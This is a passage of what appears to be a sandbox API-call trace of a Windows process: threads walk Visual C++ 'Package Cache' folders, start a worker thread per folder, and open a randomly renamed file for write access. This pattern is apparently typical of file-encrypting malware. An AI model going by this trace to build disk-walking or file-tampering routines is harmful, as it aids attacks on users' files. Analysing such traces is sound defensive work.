Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0136.161] wcscat (in: _Dest=0x1b772eb0, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0151.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b772eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d74 [0151.057] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0151.057] FindClose (in: hFindFile=0x1cd9c7f0 | out: hFindFile=0x1cd9c7f0) returned 1 [0151.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b400) returned 1 [0151.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118bc0) returned 1 [0151.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279c70) returned 1 Thread: id = 1992 os_tid = 0x11fc [0136.373] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60")) returned 0x20 [0136.373] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60", dwFileAttributes=0x20) returned 1 [0136.374] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d88 [0136.375] GetFileSizeEx (in: hFile=0x1d88, lpFileSize=0x3133fd80 | out: lpFileSize=0x3133fd80*=926) returned 1 [0136.375] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x39a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.375] ReadFile (in: hFile=0x1d88, lpBuffer=0x3133fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3133fd48, lpOverlapped=0x0 | out: lpBuffer=0x3133fd00*, lpNumberOfBytesRead=0x3133fd48*=0x4, lpOverlapped=0x0) returned 1 [0136.377] FlushFileBuffers (hFile=0x1d88) returned 1 [0138.536] CloseHandle (hObject=0x1d88) returned 1 [0138.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60", dwFileAttributes=0x20) returned 1 [0138.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279bb0) returned 1 Thread: id = 1993 os_tid = 0x1200 [0136.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x119240 [0136.536] wcscpy (in: _Dest=0x119240, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0136.536] wcscat (in: _Dest=0x119240, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0136.536] wcscat (in: _Dest=0x119240, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*" [0136.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b670 [0136.537] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c610 [0136.537] wcscmp (_String1=".", _String2=".") returned 0 [0136.537] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.537] wcscmp (_String1="..", _String2=".") returned 1 [0136.537] wcscmp (_String1="..", _String2="..") returned 0 [0136.537] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0136.537] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0136.537] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0136.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b799610 [0136.538] wcscpy (in: _Dest=0x1b799610, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0136.538] wcscat (in: _Dest=0x1b799610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0136.538] wcscat (in: _Dest=0x1b799610, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0151.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d80 [0151.059] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0151.059] FindClose (in: hFindFile=0x1cd9c610 | out: hFindFile=0x1cd9c610) returned 1 [0151.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b670) returned 1 [0151.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 [0151.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 Thread: id = 1994 os_tid = 0x1204 [0136.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x119310 [0136.681] wcscpy (in: _Dest=0x119310, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0136.681] wcscat (in: _Dest=0x119310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0136.681] wcscat (in: _Dest=0x119310, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*" [0136.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b8e0 [0136.681] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cc10 [0136.682] wcscmp (_String1=".", _String2=".") returned 0 [0136.682] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.682] wcscmp (_String1="..", _String2=".") returned 1 [0136.682] wcscmp (_String1="..", _String2="..") returned 0 [0136.682] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0136.682] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0136.682] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0136.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b7731b0 [0136.682] wcscpy (in: _Dest=0x1b7731b0, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0136.682] wcscat (in: _Dest=0x1b7731b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0136.682] wcscat (in: _Dest=0x1b7731b0, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0151.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7731b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d94 [0151.061] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0151.061] FindClose (in: hFindFile=0x1cd9cc10 | out: hFindFile=0x1cd9cc10) returned 1 [0151.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b8e0) returned 1 [0151.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119310) returned 1 [0151.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119650) returned 1 Thread: id = 1995 os_tid = 0x1208 [0136.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x119990 [0136.730] wcscpy (in: _Dest=0x119990, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0136.730] wcscat (in: _Dest=0x119990, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0136.730] wcscat (in: _Dest=0x119990, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*" [0136.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9bb50 [0136.730] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c430 [0136.731] wcscmp (_String1=".", _String2=".") returned 0 [0136.731] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.731] wcscmp (_String1="..", _String2=".") returned 1 [0136.731] wcscmp (_String1="..", _String2="..") returned 0 [0136.731] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0136.731] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0136.731] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0136.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1b798e90 [0136.731] wcscpy (in: _Dest=0x1b798e90, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0136.731] wcscat (in: _Dest=0x1b798e90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0136.731] wcscat (in: _Dest=0x1b798e90, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0151.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b798e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d98 [0151.064] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0151.064] FindClose (in: hFindFile=0x1cd9c430 | out: hFindFile=0x1cd9c430) returned 1 [0151.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9bb50) returned 1 [0151.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119990) returned 1 [0151.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119580) returned 1 Thread: id = 1996 os_tid = 0x120c [0136.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x118880 [0136.790] wcscpy (in: _Dest=0x118880, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0136.791] wcscat (in: _Dest=0x118880, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0136.791] wcscat (in: _Dest=0x118880, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" [0136.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9bdc0 [0136.791] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd90 [0136.791] wcscmp (_String1=".", _String2=".") returned 0 [0136.791] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.792] wcscmp (_String1="..", _String2=".") returned 1 [0136.792] wcscmp (_String1="..", _String2="..") returned 0 [0136.792] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0136.792] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0136.792] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0136.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xec) returned 0x1b78e180 [0136.792] wcscpy (in: _Dest=0x1b78e180, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0136.792] wcscat (in: _Dest=0x1b78e180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0136.792] wcscat (in: _Dest=0x1b78e180, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" [0150.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b78e180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2224 [0150.774] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0150.775] FindClose (in: hFindFile=0x1cd9cd90 | out: hFindFile=0x1cd9cd90) returned 1 [0150.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9bdc0) returned 1 [0150.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0150.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202788f0) returned 1 Thread: id = 1997 os_tid = 0x1210 [0136.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x1190a0 [0136.836] wcscpy (in: _Dest=0x1190a0, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package 